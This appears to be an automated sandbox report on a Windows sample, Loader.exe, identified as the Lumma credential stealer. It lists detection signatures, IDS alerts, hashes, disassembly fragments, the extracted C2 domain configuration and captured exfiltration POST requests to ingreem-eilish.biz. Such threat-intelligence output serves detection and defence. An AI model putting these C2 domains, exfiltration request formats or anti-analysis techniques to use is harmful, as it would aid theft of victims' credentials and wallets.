Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1579012
MD5:	99604ef7ebf56a566a0cdb4b6bb0fa08
SHA1:	f16ce4bd1ba5eba29494ff69ac8d263e2f9110b7
SHA256:	cca815d086ab89c36262865aaa9e0dd7dc02830aec4e6a3fa8b662b65adf7ce0
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 6448 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 99604EF7EBF56A566A0CDB4B6BB0FA08)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["debonairnukk.xyz", "immureprech.biz", "deafeninggeh.biz", "effecterectz.xyz", "ingreem-eilish.biz", "awake-weaves.cyou", "sordid-snaked.cyou", "wrathful-jammy.cyou", "diffuculttan.xyz"], "Build id": "HpOoIh--b58c2f805636"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: Loader.exe PID: 6448	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 6448	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:41:44.381468+0100	2028371	3	Unknown Traffic	192.168.2.5	49756	104.21.90.135	443	TCP
2024-12-20T17:41:46.378510+0100	2028371	3	Unknown Traffic	192.168.2.5	49761	104.21.90.135	443	TCP
2024-12-20T17:41:48.661686+0100	2028371	3	Unknown Traffic	192.168.2.5	49767	104.21.90.135	443	TCP
2024-12-20T17:41:50.819969+0100	2028371	3	Unknown Traffic	192.168.2.5	49773	104.21.90.135	443	TCP
2024-12-20T17:41:53.431410+0100	2028371	3	Unknown Traffic	192.168.2.5	49780	104.21.90.135	443	TCP
2024-12-20T17:41:55.900795+0100	2028371	3	Unknown Traffic	192.168.2.5	49786	104.21.90.135	443	TCP
2024-12-20T17:41:57.871064+0100	2028371	3	Unknown Traffic	192.168.2.5	49792	104.21.90.135	443	TCP
2024-12-20T17:42:00.820993+0100	2028371	3	Unknown Traffic	192.168.2.5	49799	104.21.90.135	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:41:45.098343+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49756	104.21.90.135	443	TCP
2024-12-20T17:41:47.097956+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49761	104.21.90.135	443	TCP
2024-12-20T17:42:01.648299+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49799	104.21.90.135	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:41:45.098343+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49756	104.21.90.135	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:41:47.097956+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49761	104.21.90.135	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:41:51.622335+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49773	104.21.90.135	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["debonairnukk.xyz", "immureprech.biz", "deafeninggeh.biz", "effecterectz.xyz", "ingreem-eilish.biz", "awake-weaves.cyou", "sordid-snaked.cyou", "wrathful-jammy.cyou", "diffuculttan.xyz"], "Build id": "HpOoIh--b58c2f805636"}

Multi AV Scanner detection for submitted file

Source: Loader.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 80.4% probability

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: ingreem-eilish.biz
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmp	String decryptor: HpOoIh--b58c2f805636

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_0041729C CryptUnprotectData,

1_2_0041729C

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.90.135:443 -> 192.168.2.5:49799 version: TLS 1.2

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Admin\Workspace\1199853044\Project\Release\Project.pdb source: Loader.exe

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_011C9255 FindFirstFileExW,

1_2_011C9255

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then lea edi, dword ptr [esi+esi]	1_2_0040D120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	1_2_0043CA12
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	1_2_0043EB50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+00000098h]	1_2_0042DB7F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+50h]	1_2_00437BC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2D1F4786h]	1_2_0043D010
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	1_2_0042A0E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	1_2_0041C08C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edi, edx	1_2_00409150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	1_2_00409150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	1_2_00409150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	1_2_00405950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	1_2_00405950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	1_2_00414170
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebp+02h]	1_2_00429170
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 7A5C62DDh	1_2_00418176
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, word ptr [ecx]	1_2_0041912E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+5D0CB002h]	1_2_0041912E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_004349C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	1_2_0043C9DB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_004189F5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	1_2_0042B980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-61DE2F8Fh]	1_2_0043D980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-61DE2F8Fh]	1_2_0043D980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-47h]	1_2_0041D200
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, ecx	1_2_00423A1C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+0984A1C9h]	1_2_00417A28
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then lea edx, dword ptr [ecx-5D3369E7h]	1_2_00409AC1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax+0CC5C7CCh]	1_2_00409AC1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	1_2_0042C2CF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 7A5C62DDh	1_2_00418176
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-61DE2F8Fh]	1_2_0043DA80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-61DE2F8Fh]	1_2_0043DA80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp ecx	1_2_0043CA9D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, ebx	1_2_0043CB51
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0041BB5A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-61DE2F8Fh]	1_2_0043DBF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-61DE2F8Fh]	1_2_0043DBF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_004223A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+ecx*8], A269EEEFh	1_2_004383A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	1_2_0040A3AA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movsx esi, byte ptr [ebp+ecx+00h]	1_2_0043D450
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+00000098h]	1_2_0042DB7A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	1_2_0042B4D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	1_2_004144D5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-61DE2F8Fh]	1_2_0043DC80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-61DE2F8Fh]	1_2_0043DC80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, edi	1_2_004074A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-1700BF35h]	1_2_0041C4A1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	1_2_004144A5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp dword ptr [004446A8h]	1_2_00416D51
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-61DE2F8Fh]	1_2_0043DD00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-61DE2F8Fh]	1_2_0043DD00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+20h]	1_2_0042A5CF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+38h]	1_2_0041C661
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-0CD1ACF4h]	1_2_00438630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00438630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], bl	1_2_00408EF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+2832B6A5h]	1_2_00429E44
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	1_2_00422F0D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp dword ptr [00444700h]	1_2_00416F11
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_0042AF10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49756 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49756 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49761 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49761 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49799 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49773 -> 104.21.90.135:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: ingreem-eilish.biz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49756 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49761 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49767 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49780 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49773 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49799 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49792 -> 104.21.90.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49786 -> 104.21.90.135:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O9SCPS6TVHZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12800Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XPBUSMJFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15024Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3905CUVZJU7SAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20544Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UB51S031P6CFIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1230Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AL2QEEAZ77KVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1093Host: ingreem-eilish.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: ingreem-eilish.biz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: ingreem-eilish.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ingreem-eilish.biz

Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000001.00000002.2712486611.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2567538989.000000000145D000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000002.2712486611.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ingreem-eilish.biz/
